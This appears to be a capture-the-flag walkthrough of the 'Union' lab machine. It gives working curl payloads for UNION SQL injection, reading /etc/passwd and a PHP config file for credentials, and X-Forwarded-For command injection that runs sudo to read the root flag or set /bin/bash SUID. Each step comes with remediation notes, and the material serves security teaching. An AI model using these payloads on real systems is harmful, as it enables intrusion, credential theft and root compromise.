Union
Summary
The target presented a single exposed service: an nginx-hosted PHP challenge application on port 80 with SSH intentionally firewalled off. A UNION-based SQL injection in the player-name lookup form let me dump an authentication flag from the database and then use MySQL's LOAD_FILE() to read the server's PHP configuration file, extracting the 'uhc' operating-system account password.
Submitting the extracted flag to the challenge endpoint created an authenticated session; a follow-up request to the firewall helper page caused the server to open SSH from $ATTACKER_IP. The uhc credentials recovered via the file-read granted a user shell.
Post-foothold analysis revealed that firewall.php passed the raw X-Forwarded-For HTTP header directly into a shell command without sanitisation, and that the www-data web-server process held an unrestricted NOPASSWD sudo rule. A single crafted HTTP header — injecting a semicolon-delimited sudo command — read the root flag without ever opening an interactive root shell, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for uhc>"Some commands also carry a value in angle brackets — <command> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP scan with service detection; only 80/tcp returned open.
$ nmap -sV -sC -p- --min-rate 5000 -oN nmap-full.txt $TARGETConfirm nginx server header and PHP technology stack.
$ curl -sS -I http://$TARGET/Exact commands 3
Trigger a SQL error to confirm injection point.
$ curl -sS -X POST "http://$TARGET/index.php" --data "player='"Determine column count; increment until error (error at 2 → one-column query).
$ curl -sS -X POST "http://$TARGET/index.php" --data "player=' ORDER BY 2-- -"Confirm my own data is reflected in the HTTP response.
$ curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT 'sqli_test'-- -"FixReplace dynamic SQL string-building with parameterised queriesCritical
Exact commands 3
Retrieve the current database name.
$ curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT database()-- -"List all tables in the active schema to find the flag table.
$ curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -"Dump the challenge flag; substitute correct table/column names if schema differs.
$ curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT flag FROM november-- -"Exact commands 2
Verify FILE privilege and enumerate local user accounts.
$ curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT LOAD_FILE('/etc/passwd')-- -"Read web-app config for plaintext credentials; also try .env or configuration.php if this path is empty.
$ curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT LOAD_FILE('/var/www/html/config.php')-- -"FixRevoke the MySQL FILE privilege from the application database accountHigh
Exact commands 4
Clear any stale cookie jar before starting the authenticated flow.
$ rm -f /tmp/union.cookiesSubmit the database-extracted challenge flag to obtain an authenticated session cookie.
$ curl -sS -i -c /tmp/union.cookies -b /tmp/union.cookies -X POST "http://$TARGET/challenge.php" --data "flag=$PASSWORD"Trigger iptables whitelist for $ATTACKER_IP $ATTACKER_IP, opening port 22.
$ curl -sS -i -c /tmp/union.cookies -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP" "http://$TARGET/firewall.php"Authenticate via SSH with recovered credentials and read the user flag.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no uhc@$TARGET 'cat /home/uhc/user.txt'$ATTACKER_IP; <command>; # — I caused the PHP process to execute arbitrary OS commands as the www-data web-server account. The authenticated session cookie from step 5 satisfied the only access check on the endpoint.Exact commands 2
Confirm command injection — response includes uid=33(www-data).
$ curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; id; #" "http://$TARGET/firewall.php"
uid=33(www-data)Confirm www-data can sudo without a password — uid=0 in response confirms NOPASSWD sudo.
$ curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; sudo -n id; #" "http://$TARGET/firewall.php"FixValidate and escape X-Forwarded-For before passing it to any shell commandCritical
Exact commands 2
Read the root flag by injecting a NOPASSWD sudo command through the firewall endpoint.
$ curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; sudo -n cat /root/root.txt; #" "http://$TARGET/firewall.php"Alternative: make /bin/bash SUID to obtain a persistent interactive root shell via the uhc SSH session.
$ curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; sudo -n chmod u+s /bin/bash; #" "http://$TARGET/firewall.php" && ssh uhc@$TARGET '/bin/bash -p -c id'FixRemove the unrestricted NOPASSWD sudo rule granted to the web server processCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.